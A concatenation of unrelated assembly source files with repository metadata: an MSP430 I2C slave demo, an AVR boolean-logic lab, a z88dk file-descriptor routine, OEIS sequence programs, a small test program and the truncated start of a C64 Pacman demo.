TORT (INCLUDING NEGLIGENCE OR ; OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, ; EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. ; ; ****************************************************************************** ; ; MSP430 CODE EXAMPLE DISCLAIMER ; ; MSP430 code examples are self-contained low-level programs that typically ; demonstrate a single peripheral function or device feature in a highly ; concise manner. For this the code may rely on the device's power-on default ; register values and settings such as the clock configuration and care must ; be taken when combining code from several examples to avoid potential side ; effects. Also see www.ti.com/grace for a GUI- and www.ti.com/msp430ware ; for an API functional library-approach to peripheral configuration. ; ; --/COPYRIGHT-- ;******************************************************************************* ; MSP430F54xA Demo - USCI_B0 I2C Slave RX single bytes from MSP430 Master ; ; Description: This demo connects two MSP430's via the I2C bus. The master ; transmits to the slave. This is the SLAVE code. The interrupt driven ; data receiption is demonstrated using the USCI_B0 RX interrupt. ; ACLK = n/a, MCLK = SMCLK = default DCO = ~1.045MHz ; ; ***to be used with msp430x54xA_uscib0_i2c_06.asm*** ; ; /|\ /|\ ; MSP430F5438A 10k 10k MSP430F5438 ; slave | | master ; ----------------- | | ----------------- ; -|XIN P3.1/UCB0SDA|<-|----+->|P3.1/UCB0SDA XIN|- ; | | | | | ; -|XOUT | | | XOUT|- ; | P3.2/UCB0SCL|<-+------>|P3.2/UCB0SCL | ; | | | | ; ; D. Dang ; Texas Instruments Inc. ; December 2009 ; Built with CCS Version: 4.0.2 ;****************************************************************************** .cdecls C,LIST,"msp430.h" ;------------------------------------------------------------------------------- .def RESET ; Export program entry-point to ; make it known to linker. RXData .equ R5 ;------------------------------------------------------------------------------- .global _main .text ; Assemble to Flash memory ;------------------------------------------------------------------------------- _main RESET mov.w #0x5C00,SP ; Initialize stackpointer mov.w #WDTPW + WDTHOLD,&WDTCTL; Stop WDT bis.b #0x06,&P3SEL ; Assign I2C pins to USCI_B0 bis.b #UCSWRST,&UCB0CTL1 ; **Put state machine in reset** mov.b #UCMODE_3 + UCSYNC,UCB0CTL0; I2C Slave, synchronous mode mov.w #0x48,&UCB0I2COA ; Own Address is 048h bic.b #UCSWRST,&UCB0CTL1 ; **Initialize USCI state machine** bis.b #UCRXIE,&UCB0IE ; Enable RX interrupt Mainloop bis.b #LPM0 + GIE,SR ; Enter LPM0, enable interrupts nop ; Set breakpoint >>here<< and read jmp Mainloop ; RXData ; ;------------------------------------------------------------------------------- USCI_B0_ISR; USCI_B0 Interrupt Handler ISR ;------------------------------------------------------------------------------- add.w &UCB0IV,PC ; Add offset to PC reti ; Vector 0: No interrupt reti ; Vector 2: ALIFG reti ; Vector 4: NACKIFG reti ; Vector 6: STTIFG reti ; Vector 8: STPIFG jmp RXIFG_ISR ; Vector 10: RXIFG reti ; Vector 12: TXIFG ; RXIFG_ISR ; RXIFG Interrupt Handler mov.b &UCB0RXBUF,RXData ; Get RX data bic.b #LPM0,0(SP) ; Exit LPM0 reti ; ; ;------------------------------------------------------------------------------- ; Interrupt Vectors ;------------------------------------------------------------------------------- .sect ".int56" ; USCI_BO Interrupt Vector .short USCI_B0_ISR .sect ".reset" ; POR, ext. Reset .short RESET .end
51.97541
80
0.480208
21fd90214098f2d6f8262b83cb707e7e923274ae
1,521
asm
Assembly
Lab_4-(AVR)/Code/Ex2-AVR/Ex2-AVR/main.asm
nickbel7/ntua-microprocessors-systems
f39c7a8b9a68ff47ca6c6564c283abf1af8083e7
[ "MIT" ]
null
null
null
Lab_4-(AVR)/Code/Ex2-AVR/Ex2-AVR/main.asm
nickbel7/ntua-microprocessors-systems
f39c7a8b9a68ff47ca6c6564c283abf1af8083e7
[ "MIT" ]
null
null
null
Lab_4-(AVR)/Code/Ex2-AVR/Ex2-AVR/main.asm
nickbel7/ntua-microprocessors-systems
f39c7a8b9a68ff47ca6c6564c283abf1af8083e7
[ "MIT" ]
null
null
null
.include "m16def.inc" .DEF A = r16 ;input A - PORTA LSB(0) .DEF B = r17 ;input B - PORTA LSB(1) .DEF C = r18 ;input C - PORTA LSB(2) .DEF D = r19 ;input D - PORTA LSB(3) .DEF I = r20 ;register to store input .DEF E = r21 ;register for temporary calculations .DEF F = r22 ;register for temporary calculations ;========== INITIALIZE STACK POINTER , I/O ========== reset: ldi r24 , low(RAMEND) ;initialize stack pointer (LOW) out SPL , r24 ldi r24 , high(RAMEND) ;initialize stack pointer (HIGH) out SPH , r24 ser r26 out DDRB, r26 ;initialize PORTB clr r26 out DDRA, r26 ;initialize PORTA ;========== DATA INPUT ========== main: clr E ; CLEAR E clr F ; CLEAR F in I, PINA ; I <- INPUT mov A, I ; LSB(0) = A lsr I ; rotate right INPUT mov B, I ; LSB(1) = B lsr I ; rotate right INPUT mov C, I ; LSB(2) = C lsr I ; rotate right INPUT mov D, I ; LSB(3) = D ;========== ROUTINE FOR F0 ============= mov F, C ; F = C com F ; F = C' and F, A ; F = AC' and F, B ; F = ABC' mov E, C ; E = C and E, D ; E = CD or F, E ; F = (ABC' + CD) com F ; F = (ABC' + CD)' -> F0 ;========== ROUTINE FOR F1 ============== or A, B ; A = A + B or C, D ; C = C + D and A, C ; A = (A + B)(C + D) -> F1 lsl A ; rotate left A andi F, 1 ; F = F0 (0000 0001 MASK) andi A, 2 ; A = F1 (0000 0010 MASK) or F, A ; COMBINE F0, F1 out PORTB, F ; OUTPUT F0-F1 IN PORTB rjmp reset
27.160714
59
0.506246
4aaf8df976130eb8c16d5ff7a96beadb36c96628
601
asm
Assembly
libsrc/_DEVELOPMENT/fcntl/z80/__fcntl_first_available_fd.asm
meesokim/z88dk
5763c7778f19a71d936b3200374059d267066bb2
[ "ClArtistic" ]
null
null
null
libsrc/_DEVELOPMENT/fcntl/z80/__fcntl_first_available_fd.asm
meesokim/z88dk
5763c7778f19a71d936b3200374059d267066bb2
[ "ClArtistic" ]
null
null
null
libsrc/_DEVELOPMENT/fcntl/z80/__fcntl_first_available_fd.asm
meesokim/z88dk
5763c7778f19a71d936b3200374059d267066bb2
[ "ClArtistic" ]
null
null
null
SECTION code_fcntl PUBLIC __fcntl_first_available_fd EXTERN __fcntl_fdtbl, __fcntl_fdtbl_size __fcntl_first_available_fd: ; locate first available fd slot ; ; exit : success ; ; b = fdtbl_size - fd ; hl = & fdtbl[fd] + 1b ; z flag set ; ; fail ; ; nz flag set ; ; uses : af, b, hl ld b,__fcntl_fdtbl_size ld hl,__fcntl_fdtbl loop: ld a,(hl) inc hl or (hl) ret z ; if empty slot found inc hl djnz loop ret ; slot not found
15.410256
52
0.510815
8a54524652ecab8c1d250ba80c9c7cf7e6e31e81
591
asm
Assembly
oeis/300/A300073.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
11
2021-08-22T19:44:55.000Z
2022-03-20T16:47:57.000Z
oeis/300/A300073.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
9
2021-08-29T13:15:54.000Z
2022-03-09T19:52:31.000Z
oeis/300/A300073.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
3
2021-08-22T20:56:47.000Z
2021-09-29T06:26:12.000Z
; A300073: Decimal expansion of the member z of a triple (x, y, z) satisfying a certain historical system of three equations with negative y. ; Submitted by Jon Maiga ; 1,2,0,2,0,9,2,6,8,3,2,5,3,6,5,9,0,6,7,1,3,7,0,7,2,7,1,0,1,0,4,2,9,8,5,2,3,6,2,1,7,1,5,6,1,8,8,2,1,7,4,3,0,4,9,9,0,0,1,7,5,2,9,6,4,0,3,2,2,1,2,5,5,2,2,0,6,0,6,6,8,1,7,0,9,5,6,0,0,4,6,6,7,3,9,4,9,6,3,6 mov $1,1 mov $3,$0 mul $3,3 lpb $3 add $1,$6 add $1,$3 add $2,$1 sub $3,1 add $5,$2 add $6,$2 add $6,$5 lpe add $6,$2 mov $2,$6 mov $4,10 pow $4,$0 div $2,$4 cmp $5,0 add $2,$5 div $1,$2 mov $0,$1 mod $0,10
21.888889
201
0.571912
8dcef59f42f44b92fa87e28a9515ab08238703a3
641
asm
Assembly
oeis/341/A341885.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
11
2021-08-22T19:44:55.000Z
2022-03-20T16:47:57.000Z
oeis/341/A341885.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
9
2021-08-29T13:15:54.000Z
2022-03-09T19:52:31.000Z
oeis/341/A341885.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
3
2021-08-22T20:56:47.000Z
2021-09-29T06:26:12.000Z
; A341885: a(n) is the sum of A000217(p) over the prime factors p of n, counted with multiplicity. ; Submitted by Christian Krause ; 0,3,6,6,15,9,28,9,12,18,66,12,91,31,21,12,153,15,190,21,34,69,276,15,30,94,18,34,435,24,496,15,72,156,43,18,703,193,97,24,861,37,946,72,27,279,1128,18,56,33,159,97,1431,21,81,37,196,438,1770,27,1891,499,40,18,106,75,2278,159,282,46,2556,21,2701,706,36,196,94,100,3160,27,24,864,3486,40,168,949,441,75,4005,30,119,282,502,1131,205,21,4753,59,78,36 lpb $0 mov $2,$0 seq $2,6530 ; Gpf(n): greatest prime dividing n, for n >= 2; a(1)=1. div $0,$2 add $1,$2 pow $2,2 add $1,$2 lpe mov $0,$1 div $0,2
42.733333
348
0.670827
674352d07c02bd11ca9f4d5076650021249973e4
1,648
asm
Assembly
programs/oeis/033/A033585.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
1
2021-03-15T11:38:20.000Z
2021-03-15T11:38:20.000Z
programs/oeis/033/A033585.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
programs/oeis/033/A033585.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
; A033585: a(n) = 2*n*(4*n+1). ; 0,10,36,78,136,210,300,406,528,666,820,990,1176,1378,1596,1830,2080,2346,2628,2926,3240,3570,3916,4278,4656,5050,5460,5886,6328,6786,7260,7750,8256,8778,9316,9870,10440,11026,11628,12246,12880,13530,14196,14878,15576,16290,17020,17766,18528,19306,20100,20910,21736,22578,23436,24310,25200,26106,27028,27966,28920,29890,30876,31878,32896,33930,34980,36046,37128,38226,39340,40470,41616,42778,43956,45150,46360,47586,48828,50086,51360,52650,53956,55278,56616,57970,59340,60726,62128,63546,64980,66430,67896,69378,70876,72390,73920,75466,77028,78606,80200,81810,83436,85078,86736,88410,90100,91806,93528,95266,97020,98790,100576,102378,104196,106030,107880,109746,111628,113526,115440,117370,119316,121278,123256,125250,127260,129286,131328,133386,135460,137550,139656,141778,143916,146070,148240,150426,152628,154846,157080,159330,161596,163878,166176,168490,170820,173166,175528,177906,180300,182710,185136,187578,190036,192510,195000,197506,200028,202566,205120,207690,210276,212878,215496,218130,220780,223446,226128,228826,231540,234270,237016,239778,242556,245350,248160,250986,253828,256686,259560,262450,265356,268278,271216,274170,277140,280126,283128,286146,289180,292230,295296,298378,301476,304590,307720,310866,314028,317206,320400,323610,326836,330078,333336,336610,339900,343206,346528,349866,353220,356590,359976,363378,366796,370230,373680,377146,380628,384126,387640,391170,394716,398278,401856,405450,409060,412686,416328,419986,423660,427350,431056,434778,438516,442270,446040,449826,453628,457446,461280,465130,468996,472878,476776,480690,484620,488566,492528,496506 mul $0,-4 bin $0,2 mov $1,$0
235.428571
1,586
0.82767
68337ad6b1fd8a1735cf32ab3b45b835116589df
513
asm
Assembly
oeis/153/A153861.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
11
2021-08-22T19:44:55.000Z
2022-03-20T16:47:57.000Z
oeis/153/A153861.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
9
2021-08-29T13:15:54.000Z
2022-03-09T19:52:31.000Z
oeis/153/A153861.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
3
2021-08-22T20:56:47.000Z
2021-09-29T06:26:12.000Z
; A153861: Triangle read by rows, binomial transform of triangle A153860. ; Submitted by Jamie Morken(s2) ; 1,1,1,2,3,1,3,6,4,1,4,10,10,5,1,5,15,20,15,6,1,6,21,35,35,21,7,1,7,28,56,70,56,28,8,1,8,36,84,126,126,84,36,9,1,9,45,120,210,252,210,120,45,10,1,10,55,165,330,462,462,330,165,55,11,1,11,66,220,495,792,924,792,495,220,66,12,1,12,78,286,715,1287,1716,1716,1287,715,286,78,13,1,13,91,364,1001,2002,3003,3432,3003,2002 lpb $0 add $1,1 mov $2,$0 trn $0,$1 mod $2,$1 add $2,1 lpe bin $1,$2 mov $0,$1
36.642857
316
0.662768
97e9fad011ce0ee54e7f4345855b1f7c09bc4002
1,926
asm
Assembly
programs/oeis/059/A059502.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
22
2018-02-06T19:19:31.000Z
2022-01-17T21:53:31.000Z
programs/oeis/059/A059502.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
41
2021-02-22T19:00:34.000Z
2021-08-28T10:47:47.000Z
programs/oeis/059/A059502.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
5
2021-02-24T21:14:16.000Z
2021-08-09T19:48:05.000Z
; A059502: a(n) = (3*n*F(2n-1) + (3-n)*F(2n))/5 where F() = Fibonacci numbers A000045. ; 0,1,3,9,27,80,234,677,1941,5523,15615,43906,122868,342409,950727,2631165,7260579,19982612,54865566,150316973,411015705,1121818311,3056773383,8316416134,22593883752,61301547025,166118284299,449639574897,1215751720491,3283883157848,8861749186770,23892651132341,64364212966173,173252727304059,466004178803727,1252537699142410,3364332378871644,9030851928181657,24226677417552591,64954149869404773,174052226813568435,466146924895091996,1247805276220175238,3338574694487045309,8928419451057327777,23866879799412427695,63772307725546057239,170330110571596560142,454758137793989969616,1213684577030241571873,3237976302151593069075,8635546181769244381401,23022887091335401990203,61360487784430040588384,163486469490354694857402,435455227679640890232005,1159520241299188539500709,3086672272476779573008227,8214555877157094150076191,21855606485813479944138898,58134037659714332912543940,154593217604803503417184681,411003974409687143979881943,1092447072277756843821384909,2903063983129089166740172227,7712896732572529078867906340,20487355040272047558013971054,54408203009831243637156505037,144462629028301023991252614441,383496774570722220208010051223,1017853591131737471609206607655,2701024597672455307677488264086,7166276101981651955620464593208,19010010809712605958717646249009,50419321731380458614936489945627,133702443495661542569770130229825,354495910685078194451004804877899,939754505236762344169458690164072,2490867353127302722859383578760866,6601177581774238175428514579797973,17491555726980594971683615448524845,46341830575894003893374875095772491,122760068596095605001441184540888623,325148432021848918836196659303185434,861089265302425286389892560995447852 lpb $0 sub $0,1 mov $2,$0 max $2,0 seq $2,94864 ; a(0)=1, a(1)=2, a(2)=6, a(3)=18; for n >= 4, a(n) = 6*a(n-1) - 11*a(n-2) + 6*a(n-3) - a(n-4). add $1,$2 lpe mov $0,$1
160.5
1,659
0.882658
6715393b0aa607308263e7ec7cc0393868fb886a
1,153
asm
Assembly
test/asm/leg_2_ann.asm
xdrie/irre-tools
489bd73c527e3d22ac30102956f7e659e08f0776
[ "Apache-2.0" ]
1
2020-12-05T11:11:50.000Z
2020-12-05T11:11:50.000Z
test/asm/leg_2_ann.asm
xdrie/irre-tools
489bd73c527e3d22ac30102956f7e659e08f0776
[ "Apache-2.0" ]
1
2021-05-07T22:44:53.000Z
2021-05-07T22:48:40.000Z
test/asm/leg_2_ann.asm
xdrie/irre-tools
489bd73c527e3d22ac30102956f7e659e08f0776
[ "Apache-2.0" ]
null
null
null
%entry: main ; .text ; .file "../test/leg_2.c" ; .globl add ; .type add,@function add: sbi sp sp #16 ; set up stack mov r2 r1 ; r2 = b mov r3 r0 ; r3 = a stw r0 sp #12 ; var0 = a stw r1 sp #8 ; var1 = b ldw r0 sp #12 ; r0 = var0 add r0 r0 r1 ; r0 = a + b stw r2 sp #4 ; var2 = b stw r3 sp #0 ; var3 = a adi sp sp #16 ; tear down stack ret ; return r0 ; a + b .Lfunc_end0: ; .size add, .Lfunc_end0-add ; .globl main ; .type main,@function main: sbi sp sp #20 ; set up stack frame set r0 #0 ; ZERO stw r0 sp #16 ; var0 = 0 set r0 #3 stw r0 sp #12 ; store a = 3 set r0 #4 stw r0 sp #8 ; store b = 4 ldw r1 sp #12 ; r1 = a ; 3 set r2 ::add ; r2 = &add stw r0 sp #0 ; var1 = 4 mov r0 r1 ; r0 = r1 ; a ldw r1 sp #0 ; r1 = var1 ; 4 cal r2 ; r0 = add() ; r1 = a, r2 = b stw r0 sp #4 ; ? = r0 adi sp sp #20 ; tear down stack ret ; END .Lfunc_end1: hlt ;.size main, .Lfunc_end1-main ; .ident "clang version 3.8.1 (https://github.com/xdrie/clang-leg 43d93776c0f686e0097b8e3c96768b716ccd0a88) (https://github.com/xdrie/llvm-leg e9110cc431fbfe54a0c6e5d8dd476a1382dbbf60)" ; .section ".note.GNU-stack","",@progbits
25.065217
186
0.601041
081505bb5c98fd87037f7afe540cc04dd069460d
140,505
asm
Assembly
src/test/ref/complex/borderline_pacman/pacman.asm
jbrandwood/kickc
d4b68806f84f8650d51b0e3ef254e40f38b0ffad
[ "MIT" ]
2
2022-03-01T02:21:14.000Z
2022-03-01T04:33:35.000Z
src/test/ref/complex/borderline_pacman/pacman.asm
jbrandwood/kickc
d4b68806f84f8650d51b0e3ef254e40f38b0ffad
[ "MIT" ]
null
null
null
src/test/ref/complex/borderline_pacman/pacman.asm
jbrandwood/kickc
d4b68806f84f8650d51b0e3ef254e40f38b0ffad
[ "MIT" ]
null
null
null
// Camelot Borderline Entry // Pacman made with 9 sprites in in the borders // Commodore 64 PRG executable file .plugin "se.triad.kickass.CruncherPlugins" .file [name="pacman.prg", type="prg", segments="Program", modify="B2exe", _jmpAdress=__start] .segmentdef Program [segments="Code, Data, Init"] .segmentdef Code [start=$810] .segmentdef Data [startAfter="Code"] .segmentdef Init [startAfter="Data"] /// Value that disables all CIA interrupts when stored to the CIA Interrupt registers .const CIA_INTERRUPT_CLEAR = $7f /// The offset of the sprite pointers from the screen start address .const OFFSET_SPRITE_PTRS = $3f8 /// $D011 Control Register #1 Bit#7: RST8 9th Bit for $D012 Rasterline counter .const VICII_RST8 = $80 /// $D011 Control Register #1 Bit#6: ECM Turn Extended Color Mode on/off .const VICII_ECM = $40 /// $D011 Control Register #1 Bit#5: BMM Turn Bitmap Mode on/off .const VICII_BMM = $20 /// $D011 Control Register #1 Bit#4: DEN Switch VIC-II output on/off .const VICII_DEN = $10 /// $D011 Control Register #1 Bit#3: RSEL Switch betweem 25 or 24 visible rows /// RSEL| Display window height | First line | Last line /// ----+--------------------------+-------------+---------- /// 0 | 24 text lines/192 pixels | 55 ($37) | 246 ($f6) /// 1 | 25 text lines/200 pixels | 51 ($33) | 250 ($fa) .const VICII_RSEL = 8 /// VICII IRQ Status/Enable Raster // @see #IRQ_ENABLE #IRQ_STATUS /// 0 | RST| Reaching a certain raster line. The line is specified by writing /// | | to register 0xd012 and bit 7 of $d011 and internally stored by /// | | the VIC for the raster compare. The test for reaching the /// | | interrupt raster line is done in cycle 0 of every line (for line /// | | 0, in cycle 1). .const IRQ_RASTER = 1 /// Mask for PROCESSOR_PORT_DDR which allows only memory configuration to be written .const PROCPORT_DDR_MEMORY_MASK = 7 /// RAM in all three areas 0xA000, 0xD000, 0xE000 .const PROCPORT_RAM_ALL = 0 /// RAM in 0xA000, 0xE000 I/O in 0xD000 .const PROCPORT_RAM_IO = 5 /// The colors of the C64 .const BLACK = 0 .const RED = 2 .const BLUE = 6 .const YELLOW = 7 .const EMPTY = 0 .const PILL = 1 .const POWERUP = 2 .const WALL = 4 // Address of the (decrunched) splash screen .const BOB_ROW_SIZE = $80 .const RENDER_OFFSET_CANVAS_LO = 0 .const RENDER_OFFSET_CANVAS_HI = $50 .const RENDER_OFFSET_YPOS_INC = $a0 // The number of bobs rendered .const NUM_BOBS = 5 // The size of the BOB restore structure .const SIZE_BOB_RESTORE = $12 // Size of the crunched music .const INTRO_MUSIC_CRUNCHED_SIZE = $600 // The raster line for irq_screen_top() .const IRQ_SCREEN_TOP_LINE = 5 .const STOP = 0 .const UP = 4 .const DOWN = 8 .const LEFT = $10 .const RIGHT = $20 .const CHASE = 0 .const SCATTER = 1 .const FRIGHTENED = 2 .const OFFSET_STRUCT_MOS6526_CIA_PORT_A_DDR = 2 .const OFFSET_STRUCT_MOS6581_SID_VOLUME_FILTER_MODE = $18 .const OFFSET_STRUCT_MOS6581_SID_CH1_PULSE_WIDTH = 2 .const OFFSET_STRUCT_MOS6581_SID_CH1_CONTROL = 4 .const OFFSET_STRUCT_MOS6581_SID_CH1_ATTACK_DECAY = 5 .const OFFSET_STRUCT_MOS6581_SID_CH1_SUSTAIN_RELEASE = 6 .const OFFSET_STRUCT_MOS6526_CIA_INTERRUPT = $d .const OFFSET_STRUCT_MOS6569_VICII_MEMORY = $18 .const OFFSET_STRUCT_MOS6569_VICII_SPRITES_XMSB = $10 .const OFFSET_STRUCT_MOS6569_VICII_SPRITES_ENABLE = $15 .const OFFSET_STRUCT_MOS6569_VICII_SPRITES_EXPAND_X = $1d .const OFFSET_STRUCT_MOS6569_VICII_BORDER_COLOR = $20 .const OFFSET_STRUCT_MOS6569_VICII_BG_COLOR = $21 .const OFFSET_STRUCT_MOS6569_VICII_SPRITES_MCOLOR1 = $25 .const OFFSET_STRUCT_MOS6569_VICII_SPRITES_MCOLOR2 = $26 .const OFFSET_STRUCT_MOS6569_VICII_SPRITES_MC = $1c .const OFFSET_STRUCT_MOS6569_VICII_CONTROL2 = $16 .const OFFSET_STRUCT_MOS6569_VICII_CONTROL1 = $11 .const OFFSET_STRUCT_MOS6569_VICII_RASTER = $12 .const OFFSET_STRUCT_MOS6569_VICII_IRQ_ENABLE = $1a .const OFFSET_STRUCT_MOS6569_VICII_SPRITE0_Y = 1 .const OFFSET_STRUCT_MOS6569_VICII_SPRITE1_Y = 3 .const OFFSET_STRUCT_MOS6569_VICII_SPRITE2_Y = 5 .const OFFSET_STRUCT_MOS6569_VICII_SPRITE3_Y = 7 .const OFFSET_STRUCT_MOS6569_VICII_SPRITE4_Y = 9 .const OFFSET_STRUCT_MOS6569_VICII_SPRITE5_Y = $b .const OFFSET_STRUCT_MOS6569_VICII_SPRITE6_Y = $d .const OFFSET_STRUCT_MOS6569_VICII_SPRITE7_Y = $f .const OFFSET_STRUCT_MOS6569_VICII_SPRITE0_COLOR = $27 .const OFFSET_STRUCT_MOS6569_VICII_SPRITE1_COLOR = $28 .const OFFSET_STRUCT_MOS6569_VICII_IRQ_STATUS = $19 .const SIZEOF_CHAR = 1 /// Sprite X position register for sprite #0 .label SPRITES_XPOS = $d000 /// Sprite Y position register for sprite #0 .label SPRITES_YPOS = $d001 /// Sprite colors register for sprite #0 .label SPRITES_COLOR = $d027 /// $D012 RASTER Raster counter .label RASTER = $d012 /// $D020 Border Color .label BORDER_COLOR = $d020 /// $D011 Control Register #1 /// - Bit#0-#2: YSCROLL Screen Soft Scroll Vertical /// - Bit#3: RSEL Switch betweem 25 or 24 visible rows /// RSEL| Display window height | First line | Last line /// ----+--------------------------+-------------+---------- /// 0 | 24 text lines/192 pixels | 55 ($37) | 246 ($f6) /// 1 | 25 text lines/200 pixels | 51 ($33) | 250 ($fa) /// - Bit#4: DEN Switch VIC-II output on/off /// - Bit#5: BMM Turn Bitmap Mode on/off /// - Bit#6: ECM Turn Extended Color Mode on/off /// - Bit#7: RST8 9th Bit for $D012 Rasterline counter /// Initial Value: %10011011 .label VICII_CONTROL1 = $d011 /// $D016 Control register 2 /// - Bit#0-#2: XSCROLL Screen Soft Scroll Horizontal /// - Bit#3: CSEL Switch betweem 40 or 38 visible columns /// CSEL| Display window width | First X coo. | Last X coo. /// ----+--------------------------+--------------+------------ /// 0 | 38 characters/304 pixels | 31 ($1f) | 334 ($14e) /// 1 | 40 characters/320 pixels | 24 ($18) | 343 ($157) /// - Bit#4: MCM Turn Multicolor Mode on/off /// - Bit#5-#7: not used /// Initial Value: %00001000 .label VICII_CONTROL2 = $d016 /// $D018 VIC-II base addresses /// - Bit#0: not used /// - Bit#1-#3: CB Address Bits 11-13 of the Character Set (*2048) /// - Bit#4-#7: VM Address Bits 10-13 of the Screen RAM (*1024) /// Initial Value: %00010100 .label VICII_MEMORY = $d018 /// VIC II IRQ Status Register .label IRQ_STATUS = $d019 /// Channel 1 Frequency High byte .label SID_CH1_FREQ_HI = $d401 /// Processor port data direction register .label PROCPORT_DDR = 0 /// Processor Port Register controlling RAM/ROM configuration and the datasette .label PROCPORT = 1 /// The SID MOS 6581/8580 .label SID = $d400 /// The VIC-II MOS 6567/6569 .label VICII = $d000 /// The CIA#1: keyboard matrix, joystick #1/#2 .label CIA1 = $dc00 /// The CIA#2: Serial bus, RS-232, VIC memory bank .label CIA2 = $dd00 /// CIA#1 Interrupt for reading in ASM .label CIA1_INTERRUPT = $dc0d /// The vector used when the HARDWARE serves IRQ interrupts .label HARDWARE_IRQ = $fffe // Graphics Bank 1 // Address of the sprites .label BANK_1 = $4000 // Address of the sprites .label SPRITES_1 = $6000 // Use sprite pointers on all screens (0x43f8, 0x47f8, ...) .label SCREENS_1 = $4000 // Graphics Bank 2 // Address of the sprites .label BANK_2 = $c000 // Address of the sprites .label SPRITES_2 = $e000 // Use sprite pointers on all screens (0x43f8, 0x47f8, ...) .label SCREENS_2 = $c000 // The location where the logic code will be located before merging .label LOGIC_CODE_UNMERGED = $e000 // The location where the screen raster code will be located before merging .label RASTER_CODE_UNMERGED = $6000 // The location where the screen raster code will be located when running .label RASTER_CODE = $8000 // Address of the (decrunched) splash screen .label SPLASH = $4000 // Address for the victory graphics .label WIN_GFX = $a700 // Address for the gameover graphics .label GAMEOVER_GFX = $a700 // Address used by (decrunched) tiles .label LEVEL_TILES = $4800 .label TILES_LEFT = LEVEL_TILES+$a00 .label TILES_RIGHT = LEVEL_TILES+$a80 .label TILES_TYPE = LEVEL_TILES+$b00 // Address used for table containing available directions for all tiles // TABLE LEVEL_TILES_DIRECTIONS[64*37] // The level data is organized as 37 rows of 64 bytes. Each row is 50 bytes containing DIRECTION bits plus 14 unused bytes to achieve 64-byte alignment. .label LEVEL_TILES_DIRECTIONS = $3e00 .label BOB_MASK_LEFT = $5400 .label BOB_MASK_RIGT = BOB_MASK_LEFT+BOB_ROW_SIZE*6 .label BOB_PIXEL_LEFT = BOB_MASK_LEFT+BOB_ROW_SIZE*$c .label BOB_PIXEL_RIGT = BOB_MASK_LEFT+BOB_ROW_SIZE*$12 // Tables pointing to the graphics. // Each page represents one X column (1 byte wide, 4 MC pixels) // On each page: // - 0xNN00-0xNN4A : low-byte of the graphics for (X-column, Y-fine) // - 0xNN50-0xNN9A : high-byte of the graphics for (X-column, Y-fine) // - 0xNNA0-0xNNEA : index into RENDER_YPOS_INC for incrementing the y-pos. .label RENDER_INDEX = $b600 // Upper memory location used during decrunching .label INTRO_MUSIC_CRUNCHED_UPPER = $a700 // Address of the music during run-time .label INTRO_MUSIC = $3000 // Pointer to the music init routine .label musicInit = INTRO_MUSIC // Pointer to the music play routine .label musicPlay = INTRO_MUSIC+6 // Is the pacman eating sound enabled .label pacman_ch1_enabled = $6e // Index into the eating sound .label pacman_ch1_idx = $66 // Pointer to the tile to render in the logic code .label logic_tile_ptr = $1a // The x-column of the tile to render .label logic_tile_xcol = $1c // The y-fine of the tile to render .label logic_tile_yfine = $1d // The ID*4 of the left tile to render .label logic_tile_left_idx = $4d // The ID*4 of the right tile to render .label logic_tile_right_idx = $4e // Variables used by the logic-code renderer and restorer .label left_render_index_xcol = $4f .label left_canvas = $51 .label left_ypos_inc_offset = $53 .label rigt_render_index_xcol = $54 .label rigt_canvas = $56 .label rigt_ypos_inc_offset = $58 // The high-byte of the start-address of the canvas currently being rendered to .label canvas_base_hi = $20 // The offset used for bobs_restore - used to achieve double buffering .label bobs_restore_base = $21 // Sprite settings used for the top/side/bottom sprites. // Used for achieving single-color sprites on the splash and multi-color sprites in the game .label top_sprites_color = $1e .label top_sprites_mc = $3a .label side_sprites_color = $16 .label side_sprites_mc = $17 .label bottom_sprites_color = $18 .label bottom_sprites_mc = $19 // The number of pills left .label pill_count = $59 // 1 When pacman wins .label pacman_wins = $1f // The number of pacman lives left .label pacman_lives = $23 // Signal for playing th next music frame during the intro .label music_play_next = $15 // 0: intro, 1: game .label phase = $3d // The double buffer frame (0=BANK_1, 1=BANK_2) .label frame = $6d // The animation frame IDX (within the current direction) [0-3] .label anim_frame_idx = $68 // Pacman x fine position (0-99). .label pacman_xfine = $47 // Pacman y fine position (0-70). .label pacman_yfine = $48 // The pacman movement current direction .label pacman_direction = $34 // Pacman movement substep (0: on tile, 1: between tiles). .label pacman_substep = $2c // Mode determining ghost target mode. 0: chase, 1: scatter .label ghosts_mode = $67 // Counts frames to change ghost mode (7 seconds scatter, 20 seconds chase ) .label ghosts_mode_count = $2b // Ghost 1 x fine position (0-99). .label ghost1_xfine = $3b // Ghost 1 y fine position (0-70). .label ghost1_yfine = $3c // Ghost 1 movement current direction .label ghost1_direction = $35 // Ghost 1 movement substep (0: on tile, 1: between tiles). .label ghost1_substep = $2d // Ghost 1 movement should be reversed (0: normal, 1: reverse direction) .label ghost1_reverse = $69 // Ghost 1 respawn timer .label ghost1_respawn = $26 // Ghost 2 x fine position (0-99). .label ghost2_xfine = $3e // Ghost 2 y fine position (0-70). .label 